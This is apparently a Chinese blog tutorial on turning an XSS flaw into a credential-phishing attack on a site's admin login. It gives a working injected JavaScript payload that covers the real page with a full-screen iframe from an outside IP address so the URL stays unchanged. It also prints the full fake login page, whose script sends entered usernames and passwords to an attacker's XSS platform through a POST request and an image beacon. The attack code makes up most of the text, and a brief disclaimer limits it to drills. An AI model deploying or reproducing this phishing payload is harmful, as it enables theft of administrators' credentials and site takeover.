自己写一个和原网站后台登录地址一模一样的钓鱼页面 
JS加载一个iframe 100%覆盖原网页 提示登录超时重新登录 因为是iframe加载 url地址不变 钓鱼成功后 再跳转回/admin/index.php 因为目标session没过期 所以可以极大程度的模拟正常的登录成功操作。

注入如下代码：

 setTimeout(function(){

 parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"http://59.65.232.237/diaoyu.html\" frameBorder=0 scrolling=no></iframe>");

 setTimeout(function(){

 document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);

 setTimeout(function(){

 parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);

 },1000);

在服务器上构造diaoyu.html的网页。代码如下：

 <html>

 <head>

 <meta charset="utf-8">

 <title>Xss平台-免费xss测试平台,xss源码,xss代码</title>

 <meta name="keywords" content="XSS攻击,XSS平台,XSS跨站,XSS代码,XSS教程,XSS平台邀请码,免费xss平台,xss测试平台,跨站平台,跨站攻击" />

 <meta name="description" content="XSS攻击,XSS平台,XSS跨站,XSS代码,XSS教程,XSS平台邀请码,免费xss平台,xss测试平台,跨站平台,跨站攻击" />

 <meta name="viewport" content="width=device-width, initial-scale=1.0">

 <link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/bootstrap.min.css">

 <link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/bootstrap-theme.min.css">

 <link rel="stylesheet" href="http://xss.fbisb.com/themes/default/css/css.css">

 <script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>

 <script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>

 <script>

 function Login(){

     if($("#user").val()==""){

         ShowError("用户名不能为空");

         return false;

     }

     if($("#pwd").val()==""){

         ShowError("密码不能为空");

         return false;

     }

 }

 function ShowError(content){

     $("#contentShow").attr("class","error");

     $("#contentShow").html(content);

 }

 </script>

 </head>

 <body>

 <div class="navbar navbar-fixed-top navbar-inverse">

    <div class="container">

         <div class="navbar-header">

           <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">

             <span class="icon-bar"></span>

             <span class="icon-bar"></span>

             <span class="icon-bar"></span>

           </button>

           <a class="navbar-brand" href="http://xss.fbisb.com/xss.php">Xss平台</a>

         </div>

         <div class="collapse navbar-collapse">

           <ul class="nav navbar-nav">

             <li class="active"><a href="http://xss.fbisb.com/xss.php">主页</a></li>

           <li><a href="http://www.fbisb.com/">论坛</a></li>

             <li><a href="http://sgk.fbisb.com/">社工库(已删裤)</a></li>

             <li><a href="http://wooyun.fbisb.com/" class="menuToggle">wooyun漏洞平台</a></li>

             <li><a href="http://ip.fbisb.com/">ip定位</a></li>  

           </ul>

                         <ul class="nav navbar-nav navbar-right ng-scope" ng-controller="user_ctrl" id="header_me">

                 <li>

                     <a class="mr_15" wt-tracker="Header|Menu|Goto Signin" href="http://xss.fbisb.com/xss.php?do=login">登录</a>

                 <iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></li>

                 <li>

                     <a href="http://xss.fbisb.com/xss.php?do=register" wt-tracker="Header|Menu|Goto Apply">注册(无需邀请码)</a>

                 </li>

             </ul>

                               </div><!--/.nav-collapse -->

       <iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></div>

     </div>

 <div class="container">

 <form class="form-signin" action="http://xss.fbisb.com/xss.php?do=login&act=submit" method="post" onsubmit="return Login()">

 <div class="panel panel-default">

   <div class="panel-heading">登陆 (已开启伪静态 邮箱提醒 ^_^ )</div>

   <div class="panel-body">

 <div class="form-group">

 <div class="input-group">

 <span class="input-group-addon">

 <i class="glyphicon glyphicon-user"></i>

 </span>

 <input class="form-control ng-pristine ng-invalid ng-invalid-required valid" type="text" placeholder="输入用户名/邮箱" name="user" id="user">

 <iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></div>

 </div>

 <div class="form-group">

        <div class="input-group">

            <span class="input-group-addon fs_17"><i class="glyphicon glyphicon-lock"></i><iframe id="tmp_downloadhelper_iframe" style="display: none;"></iframe></span>

               <input class="form-control ng-pristine ng-invalid ng-invalid-required valid" type="password" placeholder="输入密码" name="pwd" id="pwd">

        </div>

 </div>

 <button class="btn btn-lg btn-primary btn-block" type="submit">登陆</button>

 </div>

 </div>

 </form>

 </div>

 </br><center>声明：仅用于攻防演练及教学测试用途，禁止非法使用！</center>

 <center>

 <script type="text/javascript">

     /*创建于 2018/1/28*/

     var cpro_id = "u3196815";

 </script>

 <script type="text/javascript" src="//cpro.baidustatic.com/cpro/ui/c.js"></script>

 </center>

 <script type="text/javascript">

   function DataSend(user,pass)

   {

     var url="http://xss平台地址";

     var xmlhttp1=new XMLHttpRequest();

     xmlhttp1.open("POST",url,true);

     xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

     xmlhttp1.send("username="+user+"&password="+pass);

   }

   document.forms[0].onsubmit=function(){

     var username=document.getElementById('user').value;

     var password=document.getElementById('pwd').value;

     alert(username);

     alert(password);

     new Image().src="http://xssplat/?username="+username+" &password="+password;  //这里将获得表单的username,password。发送到平台上

   }

 </script>

 </body>

 </html>

演示如下：

在有xss的地方注入iframe代码（方便演示直接在控制台输入代码）：

实际上url没变化但是页面已经加载我们构造的登陆代码。

当我们输入用户名密码时，就将username,password发送到服务器上。(这里测试将用户名输出)

参考文章：http://www.freebuf.com/articles/web/74324.html

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